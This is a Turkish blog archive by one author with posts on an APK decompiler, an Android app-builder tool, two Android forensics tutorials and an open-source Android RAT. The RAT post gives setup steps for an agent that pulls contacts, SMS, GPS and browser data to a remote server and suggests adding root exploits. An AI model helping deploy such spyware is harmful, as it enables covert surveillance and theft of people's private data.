Archive for August 2013

Undroid – Online Android APK Decompiler

Merhabalar,

http://undroid.balicbilisim.com

Hep uygulama geliştirecek değiliz! bu seferde hazır geliştirilmiş olan uygulamaları kurcalayalım dedim ve bu şekilde “UNdroid” doğdu.

Neden UNdroid derseniz, unixdeki unzip’den aklıma yattı ve bunu tercih ettim, benzer isme sahip bir proje olduğunu gördüm fakat pek umursamadım, işlevsel olarak insanlara sağlayacağı kolaylık ve akılda kalıcı olacağını düşündüm.

Nedir bu UNdroid ne işe yarar?

UNdroid, Android için oluşturulmuş olan uygulamaları(apk dosyalarını) decompile ederek, kaynak kodların ve uygulamanın kullanmış olduğu izinleri gösterir.

permissions

dex

UNdroid bu link’ten deneyebilirsiniz: http://undroid.balicbilisim.com/

Undroid için bir video:

Küçük Kurbağa Projesi – .NET

Merhabalar, 29 Temmuz 2013 tarihinde Küçük Kurbağa projemi facebook üzerinden Açık Kaynak Kod olarak geliştirip herkesin kullanımına açacağımdan bahsetmiştim. Projem Online bir hizmet sağlamak için düşünülmüştü. Kullanıcıların 4 – 5 adımla kolay bir şekilde Android App oluşturmasını amaçlamaktadır.

Fakat bazı arkadaşlar proje kapsamında özellikle .NET üzerinden ve Desktop tabanlı bir araç geliştirmemin kullanım acısından daha fazla katkı sağlayacağını dile getirdi. Bu doğrultuda bugün itibari ile projeme .NET desteği getirerek, C# üzerinden Masaüstü bir araç geliştirmeye başladım. Bu masaüstü app oluşturma aracının ilk görüntülerini sizlerle paylaşıyorum. Düşünce ve görüşlerinizi iletebilirsiniz.

Küçük Kurbağa Projesi daha fazla hakkında bilgi almak isterseniz burayı kontrol edebilirsiniz:

http://kucukkurbaga.balicbilisim.com/kucukkurbaga.pdf

veya

http://kucukkurbaga.balicbilisim.com/kucukkurbaga.docx 

 

Nasıl çalışır bu araç?

Bu araç hazırlanan ( ilk aşamada 10 adet template tarafımdan hazırlanacak ) Android Proje Templatelerini kişiselleştirip, Derlemenize olanak tanıyacak.

Nasıl yapacak bunu?

Android SDK’yı kullanarak yeni projeler oluşturmanızı, Apache ant ile oluşturulan proje(leri)yi derleyecek.

Template dosyaları nedir?

Template dosyaları hazır proje şablonudur.

Template dosyaları sadece 10 tanemi olacak?

Hayır, Bunu dilerseniz siz diğer örnek şablonları izleyerek, dilerse farklı kullanıcılar oluşturup herkesin kullanımına açabilecek.

Android RAT

Android RAT


URL: http://github.com/ibrahimbalic/AndroidRAT
Open Source Android RAT

RAT (Remote Access Tool) olarak isimlendirilen, Uzak kontrol araçları iyi/kötü bir çok amaç’a hizmet edebilmektedirler.  Yerleştirildikleri sistemleri uzaktan kontrol ederek amaçlarınıza hizmet etmenisini sağlamaktadır..

Benim oluşturduğum bu araç açık kaynak kod olarak sizlere sunulmuştur. Tüm içeriği değiştirebilir, istekleriniz doğrultusunda kullanabilirsiniz. Tüm sorumluluk sizlere aittir. Benim amacım kullanıcıları bu yönde bilgilendirmek ve geliştiricilere örnek teşkil etmektir. Bu araç içerisinde zararlı hiç bir kod bulunmamaktadır. Tamamen Android işletim sistemi üzerindeki haklardan yararlanarak alınabilecek olan dataların uzak kontrol mekanizması içerisinde belirlenen sunucuya aktarılmasını sağlamaktadır.

Günümüzde Android işletim sistemi üzerinde keşfedilmiş zaafiyetler ile belirli cihazlar üzerinde “root” hakkı kazanılmaktadır. Bunlarıda RAT içerisine yerleştirerek erişim ve kontrol alanlarınızı genişletilebilirsiniz. veya Rootlanmış cihazlar içerisinde veya keşfettiğiniz farklı Android zaafiyetleri ilede kullanım alanını genişletebilirsiniz.

Tüm geliştiriciler eksik gördükleri veya katkı sağlamak istedikleri alanlarda geliştirme ve düzenlemeler yaparak bana gönderebilirler. İsimleri ile birlikte dahil edilecektir.

Örnek düzenleme talebi:

***********************************************************************
File:  AndroidRAT / Php / index.php
Line:  11
/* açıklama */
$xY->AgentStat($Device);

***********************************************************************

İhtiyaçlarımız

1.Sunucu (php desteklemeli)
2.Android Cihaz
3. IntelliJ IDEA
4.Notpad++
5.FileZilla
6.adb (Installer klasörü içerisinde mevcut)

(not: IntelliJ IDEA alernatifi olarak eclips kullanabilirsiniz ben anlatımı IntelliJ IDEA üzerinden yapacağım)

Linkler :
http://notepad-plus-plus.org/
http://www.jetbrains.com/idea/download/

1. Adım

https://github.com/ibrahimbalic/AndroidRAT adresine gidip indiriyoruz içeriğini açıyoruz.

 

2. Adım – Database

Öncelikle sunucumuzda database ve database için kullanıcı oluşturuyoruz.

Oluşturulan bu database’e RAT->Database içerisindeki demo.sql dosyasını import ediyoruz. Gerekli tüm tabloların oluşturulmuş olması gerekli..

3. Adım – Php

Daha sonra Php dosyalarını sunucuya yüklüyoruz, php config içerisindeki database ayarlarımızı yapıyoruz.
RAT->Php->config.php  -Line: 47,48,49

 

4. Adım – Android Agent

IntelliJ IDEA ile projeyi açın sırasıyla su dosyaların URL değerini php dosyalarını yüklediğiniz sunucu’daki tam yolunu yazın.

RAT->Android->updateService->src->com->android->updateService dizini içerisindeki

UpdateBrowser.java   – Line:39
UpdateContact.java Line:38
UpdateGPS.java Line:47
UpdateSms.java Line:41
UpdateServiceCnt.java Line:40

Son olarak proje içerisinde httpcomponents kütüphanesinin bulunduğundan emin olun veya bulunmuyorsa + (plus) işaretine tıklayıp Jars or directories bölümünden ekleyip projeye dahil edin.

5. Adım – Android Agent Yükleme

Projeyi derledikten sonra oluşturulan .apk dosyasını  Installer dizinine taşıyın. (eski olan .apk dosyasını silebilirsiniz veya üzerine yapıştırın). daha sonra bu klasörde bulunan installAgent.bat dosyasını çalıştırın.

6. Adım – Android Agent İçin Görev Oluşturma

Cihaz üzerinde çalışmaya başlayan agent, sunucuya görevi olup olmadığını soracaktır. Eğer agent kayıtlı değil ise database’e cihaz seri numarası ile birlikte yeni bir kayıt oluşturacaktır. Bu kayıt altına alınan seri numarası agent için kimlik görevi görmektedir. Oluşturulacak görevleri bu serialnumarası üzerinden databaseteki  tasklist tablosuna görev id’si ile birlikte kayıt edeceğiz.

Görevler id’leri:
1. Contacts
2. Sms Data
3. GPS Data
4. Browser Data

Örnek olarak xxxxxxxx seri numaralı cihazdaki agent için smsleri vermesini söyleyeceğiz.
tasklist tablosuna yeni bir görev kaydı yapıyoruz.

ve kayıt ediyoruz. Her agent belirli aralıklar ile sisteme yeni görevi olup olmadığını kontrol etmektedir. bu görevler tamamlandıktan sonra data tablosuna kayıt altına alınacaktır ve taskList tablosundaki taskStat kolonu güncellenerek durumu 2 olarak görevin tamamlandığını belirtmektedir. Dilediğiniz kadar görev oluşturabilirsiniz. Agent sistemden sadece tamamlanmamış görevlerini, yani taskStat durumu 1 olanları alarak cevap vermektedir. Bu hem yarım kalan görevleri tamamlanana kadar beklemede tutmakta ve defalarca aynı görevi yapmamasını sağlamaktadıır.

Umarım aydınlatıcı olabilmişimdir. Tüm hata ve eksiklikler için ibrahim{at}balicbilisim.com adresinden bana ulaşabilirsiniz. İlerleyen süreçte daha fazla aydınlatıcı döküman ile geri geleceğim.
İbrahim BALİÇ

Android Forensics – Bölüm 2

Serisimizin 2. Bölümünde adb(Android Debug Bridge) odaklı Android üzerindeki Logları inceleyeceğiz. logcat, dumpsys gibi komutlar ile Cihaz üzerinden alabileceğimiz datalara göz atacağız.

Bölüm 2’yi okumadan önce mutlaka Bölüm 1’i okumanızı tavsiye ediyorum ve lafı daha fazla uzatmadan Android Debug Bridge’e göz atalım.

Android Debug Bridge

Android cihazlar ile bilgisayar arasında köprü vazifesi gören adb için Türkçemizde Android hata ayıklama köprüsü desek sanırım hata etmiş olmayız. Android cihazlar üzerindeki hata ayıklama modu aktif hale getirildikten sonra cihazımız, diğer farklı cihazlar ile ADB üzerinde iletişim kurabilmekktedir.

Adb içerisinde birçok farklı alan için komut satırı barındırılmaktadır. Bunların ayrıntılı listesi ve kullanımı için adb /help komutu veya direkt olarak bu sayfayı ziyaret edebilirsiniz:

http://developer.android.com/tools/help/adb.html

Adb ile alaka bizi ilgilendiren husus birincil olarak cihaz bağlantısı ki burada 2 ayrı kola ayrılacağız.

Cihaz ile bağlantı

Bir çok cihaz, farklı bir cihaz ile usb bağlantısı kurduğunda, Bağlantı kurmuş olduğu cihaz’ı kendisine ernerji kaynağı olarak algılamaktadır buda cihazın işletim sistemi tarafından tanınma ve algılanmasında sorunlar yaşatmaktadır. Windows işletim sistemi üzerinden giderek anlatmam gerekirse eğer Windows İşletim sistemine bağlamış olduğunuz Android cihazın, İşletim Sisteminiz tarafından, Tam olarak “Android Cihaz” olarak algılanması(!) yani ilgili cihazın İşletim Sisteminize uygun Driver’ının yüklenmiş olması gereklidir.

Buranın altını kalın cizgilerle çiziyorum ki, piyasada birçok kişi-uzman aynı sorunu yaşamaktadır. özelliklede piyasadaki ÇİN(chinese) malı Android cihazların chipset farklılıkları ve üretici firmaların driver konusunda destek vermemesi (veya biz Türklerin çince bilmediğimizden ötürü websitelerini dahi bulamamızdan kaynaklanıyor olabilir : ) ) en çok yaşanan sorunlardan biridir. Buradan anlamanız gereken şey Sisteminize bağlamış olduğunuz Android Cihazın, Sisteminize uygun usb driver’inin yüklü olması gerektiğidir.

Yukarıda görmüş olduğunuz gibi bağlamış olduğum cihaz sistem tarafından Android USB Devices altında listelendi. Bu mutlaka dikkat etmemiz gerek bir ayrıntıdır.

Bunun dışında bazı cihazlar USB bağlantısı sağlandıktan sonra sistem tarafından harici depolama birimi olarak (cihaz üzerindeki sdcard – bazen cihaz üzeriden secimine bağlı olarak depolama aygıtı secimide yapan kişiler yüzündende kaynaklana biliyor) algılanabiliyor. Bu şekilde bir sorunla karşılaştığınızda Windows İşletim Sistemi üzerinde Taskbardaki System Tray(hani şu saat, dil seçenekleri iconlarının olduğu bölüm) olarak adlandırılan bölümde yer alan USB aygıtların listelendiği (Safely Remove Hardware and Eject Media bölümü (Screenshot ile göstereceğim)) bölümüne gelip mouse ile sağ tuşu tıklayıp “Eject SD Card” diyebilirsiniz.

Daha sonra cihazın İşletim Sistemi ve ADB tarafından Android cihaz olarak algılandığını kontrol edelim.

ADB için Android SDK içerisindeki platforms-tools içerinden ulaşabilirsiniz. Eğer elinizde bulunmuyorsa Indirmek için bu adresi takip edebilirisniz

http://developer.android.com/sdk/index.html

Bu arada unutmadan söylemem gerekirse Üretici firmaların android ürettiği cihazlar için sağlamış olduğu driverları kendi websitelerinden indirin. Bunun için bu linki takip edebilirsiniz.

http://developer.android.com/tools/extras/oem-usb.html#Drivers

Aynı zamanda Çin malı diye tabir edilen piyasadaki üretici firması belli olmayan ve farklı chipsetlere sahip android cihazlar için ben google’ın USB driver’ını kullanıyorum. Android SDK içerisinde bulunan extra/google/usb_driver dizinindeki android_winusb.inf dosyası içerisine eklemek istediğim cihazin idsini inf dosyasına manuel olarak eklyiorum USB\VID_CIHAZDISI bu şekilde bu cihazlar üzerindede işlem yapabilirsiniz.

daha fazla konumuzu dağıtmadan ADB ile cihazımızın tanındığından emin olalım.

yeni bir command penceresi acıp (adb’nin bulunduğu dizinde olmanıza dikkat edin veya bilgisayarinizda Enviroment Variables kısmındaki user variables for PC altında kalan path’e adb dizinini dahil edin bir daha uğraşmazsınız )

# adb devices

komutunu çalıştırıyoruz ve altta görmüş olduğunuz gibi I5508.. Device olarak cihazımı algıladığını görebiliyoruz.

Ufak bir not vermem gerekirse kullanacağınız ADB sürümüne dikkat edin en güncell sürmünü tercih edin örnek vermem gerekirse ADB 1.0.26 sürümünde backup özelliği yoktur fakat ADB 1.0.31 sürümünde backup özelliği kullanabilirsiniz.

Yine ufak bir not Bölüm 1’de Oxygen Forensics Suite’den bahsetmiştik bu uygulamayı inceleyen arkadaşlar varsa bu uygulama içerisinde DrivePack olarak toplu driver klasörü olduğunu görecekler. Anddroid ve bir çok cihaz içip toplu bir derleme yapmışlar.

Logcat

#adb logcat

veya spesifik olarak birden fazla cihaz bağlı ise tek bir cihaz üzerinden

#adb -s cihazserialnumarası logcat olarak bu komutu çalıştırabilirsiniz.

logcat, android debug yöntemlerinden biridir. System ve Uygulamalara ait debug mesajları barındırır. Bu uygulamaların başlatılmasından sonlandırılmasına kadar geçen sürede bir sistem mesajını ve uygulamayı oluşturan kişinin belirlediği mesajların dan oluşmaktadır. Bu mesajlar arasında bir çok bilgiye rastlamak mümkündür.

İlgili uygulamaların verbose, debug, information, warning, error başlıkları arasında herhangi bir konu/alanda bilgi barındırabilirler.. Nedir bu bilgiler? dersek ve biraz konuyu geliştirirsek iki örnekle tanımlayabiliriz. Hemen alttaki resme göz atalım.

Görmüş olduğunuz gibi V/WifiMonitor den Verbose başlığı altında bir bilgi aktarılmış bu bilgi bir wifi aygıntının mac adresi ve ssid altında isminden oluşmaktadır. Bu bilgi yerine göre çok kıymetli olabilir. Örnek verilmesi gerekliyse eğer, Karşınıza çıkan/incelenen olay kişinin bir alanda bulunmasını kanıtlamaksa ve bulduğunuz mac adresi olay mahalindeki bir cihaza ait ise şahsın burada bulunup bulunmadığını kolayca anlayabilirsiniz. Daha birçok konu hakkında bilgi barındırabilir ve en güzel kısmı root hakkı gerektirmemektedir.

Yine aynı şekilde I/SearchDialog için Information başlığı altında girilen bir website adresine rastlamak mümkün…. İyi analiz edilerek çok faydalı bilgiler toplanabilir.

Dumpsys

#adb dumpsys

veya spesifik olarak birden fazla cihaz bağlı ise tek bir

cihaz üzerinden

#adb -s cihazserialnumarası dumpsys olarak bu komutu çalıştırabilirsiniz.

Dumsys sistem dump olarak açıklanabilinir. Bu komut bize servislerin, memory ve diğer sistem detaylarını verir ve yine en güzel kısmı root hakkı gerektirmemektedir ve iyi bir analiz ile faydalı bilgiler elde edilebilinir.

Hemen alttadaki resme göz atalım.

Görmüş olduğunuz gibi account servisi için cihaz’a yüklenmiş olan email hesabıda yine sysdump içerisinde gözükmekte. yine aynı şekilde GPS servisi için location bilgisi bulmak mümkün.

Umarım aydınlatıcı olabilmişimdir. Tüm hata ve eksiklikler için ibrahim{at}balicbilisim.com adresinden bana ulaşabilirsiniz. Bir sonraki Bölüm 3’te gözükmek üzere.

İbrahim BALİÇ

Android Forensics – Bölüm 1

Android Forensics Bölüm 1

Giriş
Maliyet ve İşletim Sistemi tutarlılığı konusunda oldukça başarılı olan Android, Google şirketi tarafından geliştirilmiş ve yaygın olarak kullanılan bir İşletim sistemi (Android OS – Android Operating System)’dir. Android günümüzde her ne kadar Mobil İşletim sistemi olarak adlandırılsada bu tam olarak doğru değildir. Android İşletim Sistemini birçok farklı aygıt içerisinde görebilmemiz mümkündür. (örnek olarak tabletler) Fakat yaygın olarak kullanım alanı mobil cihazlardır. Bu kullanım için yakın bir döndemde IDC şirketinin yaptığı Mobil Pazar araştırması sanırım söz konusu kullanımı sayısal olarak ortaya koymaktadır.

IDC şirketinin 2013 yılı araştırma raporuna göre Mobil kullanımı için belirtilen sonuçlar, 2013 yılı Akıllı Cihaz kullanımı %51.2’lik artışla yükselişte ve  Mobil Pazar’da Akıllı Cihazların kullanımları pazarın yarınsından fazlasına hakim. Yine aynı araştırma firmasının 2013 yılında sunmuş olduğu  2012 pazar araştırması raporuna görede, Android işletim sisteminin pazardaki payı %68.8..

Adli-Bilişim

Android cihazların yaygın olarak kullanılması, günüzmüdeki bir çok olayın içerisinde karşımıza çıkmalarına sebep oluyor. Yani daha basit bir örnekle söylemem gerekirse, İşlenen bir cinayetin zanlısı olarak yakalanan bir suçlunun üzerinden Android işletim sistemi kullanan bir cihaz çıkabilir. Böyle bir durumda bu cinayet soruşturmasının aydınlatılması için yetkili kişilerin bu cihaz üzerinde incelemeler yapması ve cihaz içerisinden topladıkları dataların soruşturmanın aydınlatılmasında kullanması tam olarak Adli Bilişimi konu almaktadır.

Peki nedir bu datalar? nerede tutulurlar? ve nasıl alınırlar? dersek görüşmüş kişilerden, silinen smslere alınan emaillerden mevcut resim,video, ses kayıtlarına ilgili kişinin gps datalarına hatta bir timeline oluşturup zaman/tarih/gps data olarak kişinin düzargah’ına kadar daha nice alanda birleştirme yapılarak elde edilenecek data mevcut. Benim ençok sevdiğim ise browser datalarından gezdikleri sitelerden kalan kalıntılar. örnek bir url içerisinde myprofile.php?id=45646 olarak bulabileceğiniz bir data ilgili kişinin o sitedeki profiline kadar uzanmakta. Şimdi bu dataların nerede nasil tutultuklarına göz atalım.

Android Data Saklama Alanları

Mobil Güvenlik başlıkları altında her ne kadar cihazlarınızı rootlamayın, kişisel güvenliğinizi riske atmayın diye söyleniyor olsamda Adli-Bilişim tarafına geçince durum değişmektedir. Çünkü rootlanmış bir cihaz koruma altında olduğu için adli bilişim uzmanı için ekstra uğraş ve zaman kaybı demektir ve eminim ki bir olayda uzmanının önüne gelen cihaz rootlanmış ise kendisini şanslı hissedecektir.

Konumuzu daha fazla dağıtmadan, Android İşletim Sisteminin data saklama yapısına göz atalım.

Android İşletim Sistemi üzerinde 5 farklı şekilde data tutma yöntemi bulunmaktadır. Üst resimde gördüğünüz gibi  Internal Storage, External Storage , Shared Preferences, Network ve SQLite  olmak üzere 5 ana gruba ayrılmaktadırlar. Bunlara kısaca değinecek olursak

Internal Storage – /data/data/ klasörü içerisinde ilgili uygulamanın paket adıyla oluşturulmuş ve uygulama alanıyla erişim sağlanabilinen alanıdır. Normal şartlarda bu alana sadece uygulamanın erişim hakkı verilir, ilgili erişim root yetkisiyle yapılmadıysa görüntülenemez.

External Storage – İlgili cihazın diğer depolama alanlarında güvenlik ilke ve politikaları yüksek seviyede uygulanırken, external storage alanında kısıtlamalar daha düşük seviyededir. cihaz üzerine dahil edilmiş bir /sdcard üzerinde yazma ve okuma işlemlerini rahatlıkla yapabilmekteyiz.

Shared Preferences – İlgili uygulama alanında bulunan ve XML formatı ile ilgili uygulamaya ait isteğe bağlı dataların saklanmasına olanak tanır bu alanda genelde uygulama ile ilgili basit ayar bilgileri bulunur.

Network:  Android Network üzerinden data saklama imkanıda sağlamaktadır.

SQLite:  SQLite dosyaları kısıtlama olmaksızın uygulamalar tarafından oluşturulabilir. tablo mantiği ile veri saklama imkanı sağlarken  genellikle /data/data/paketadi/databases dizininde bulunurlar. bu zorunlu değildir, dilendiği takdirde harici dizinlerde barındırılabilinir.

Bu kısmın çok iyi anlaşılması gerektiği kanaatindeyim. Çünkü yapısal olarak incelenen uygulama ne olursa olsun hep bu yapı çerçevesinde kalacaktır. Daha basit bir örnek vermek gerekirse uygulama odaklı yapılacak incelemelerde farklı yapılarda veri saklama şekil ve teknikleri bulunsada, ilgili yapıların temel erişim prensipleri üst tarafta görmüş olduğunuz 5 ana başlıktan ibarettir.
(bir sonraki serimizde  spesifik olarak sosyal medya odaklı uygulamaları inceleyeceğiz ve bu yapı kafanızda daha iyi oturacak)

Rooting

Yukarıda bahsetmiş olduğum gibi Android işletim sistemi erişim ve yetki konusunda bazı sınırlar barındırmakta. Bu sınırlar arasında root yetkisi bulunmayan cihazlarda Internal Storage alanına erişim sağlamak için bazen cihazları rootlamamız gerekebilir. Cihazları rootlamak olarak kabul edilen bu kavram aslında çok hoş bir durum değil çünkü Root yetkisi kazanabilmek için Android işletim sisteminin güvenlik zaafiyetlerinden yararlanılarak bu sınırları istismar eden zararlı yazılımlar yani  exploitler kullanımaktadır.  Cihazları Rootlamak Adli-Bilişim Uzmanı için pek hoş olmasada mecburiyet durumunda tercih edilebilmektedir.  Böyle bir mecburiyet oluşması durumunda ilgili uzmanın kullanacağı exploit’i analiz ederek uygulanacak cihaz’a zarar vermeyeceğinden emin olması gereklidir.Uygulama yapılmadan önce backup/yedek alması ve daha sonra uygulaması her açıdan  fayda sağlayacaktır. Yapılacak en ufak hata sonucu delil niteliğindeki dataların yok olabileceği unutulmamalı. Buradaki her açı kavramını açıklamam gerekli sanırım. Exploitlerin (hatta ve hatta agent-based – ajan bazlı yapılacak müdahalelerinde dahil) cihaz üzerine yükleneceğini, bu yüklemelerde hafıza üzerinde kullanım alanı kapalayacağını ve silinmiş dataların geri getirilmesinde yaptığınız müdahale alanı kadar veriyi (sektörlerdeki verileri) yok edebileceğinizi sakın ha sakın unutmayın.

(Müdahale etmeden önce mutlaka cihaz image’ını alın… Bu alana sanırım statik data alanizi kısmıda daha ayrıntılı olarak değinirsem kafanıza daha iyi oturacaktır… )

Root hakkıyla erişim

Internal Storage olarak adlandırılan alan Türkçe’mize Dahili Depolama alanı olarak girebilir. Bu alanda yukarıda bahsetmiş olduğum gibi uygulamaların Android işletim sistemi izin ve hak sınırları gereği erişimin sınırlamaktadır. Genel olarak Android uygulamaların tüm datalarını bu alanda barındırılır.Örnek teşkil etmesi adına Rootlanmış bir cihazda browser uygulamasına root erişimi sağlayarak Shared Preferences  (internal storage alanında kalmaktadır) içerisinde bulunan örnek bir datayı göstermek istiyorum.

İlgili uygulamanın içerisinde bulunan homepage değeri. Her uygulamanın içerinde benzer bilgileri bu alanda bulabilirsiniz.(birçok uygulama kullanıcı adı şifre barındırlır)

Aynı şekilde uygulamarın SQLite ile Internal Storage alanında barındırdıkları datalar bulunmaktadır. Root hakkıyla erişim sağlayabildiğimiz cihazlarda bu bilgilere ulaşabilmemiz mümkün. Örnek teşkil etmesi adına bir uygulamanın SQLite ile Internal Storage alanında tuttuğu bilgilere göz atmak istiyorum.

şimdide skype uygulamasının SQLite dosyasına göz atalım.

Yukarıda görmüş olduğunuz gibi kişinin skype uygulaması ile yapmış olduğu tüm görüşmeler bu alanda tutulmaktadır. Diğer tablolarda gönderilen dosya bilgilerine kadar ulaşmak mümkün.

Agent-Based

Yukarıda bahsetmiş olduğum bir çok data’ya erişim sağlarken Root yetkisine ihtiyaç duyuyoruz. Bazı cihazlarda Root yetkisi sağlanamamakta veya uzman cihaz’ı Rootlamaktan kaçınmaktadır. Bu tarz durumlarda Android işletim sisteminin sağlamış olduğu imkanlardan yararlanarak data alımı yapılmaktadır. Nasıl? Nedir Bu datalar dersek, görüşmüş kişilerden, smslere alınan emaillerden mevcut resim,video, ses kayıtlarına ilgili kişinin gps datalarına vs hatta bir timeline oluşturup zaman/tarih/gps data olarak kişinin düzargah’ına kadar ulaşmak yine mümkün fakat diğer uygulama datalarına erişim sağlanamamaktadır. (Internal Storage kavramı sanırım anlaşıldı). Agent Based örneği için Türkiye geliştirilen yerli yazılımımız SAFT veya piyasada yaygın olarak kullanılan Oxygen Forensic Suite kullanılabilinir. Örnek bir Agent-Based data alımı için aşağıdaki resme bakın.

Yukarıda görmüş olduğunuz gibi kullanıcının smsleri, arama kayıtları, kişi rehberi alındı.

Umarım aydınlatıcı olabilmişimdir. Tüm hata ve eksiklikler için ibrahim{at}balicbilisim.com adresinden bana ulaşabilirsiniz. İlerleyen süreçte daha fazla aydınlatıcı döküman ile geri geleceğim.

 

İbrahim BALİÇ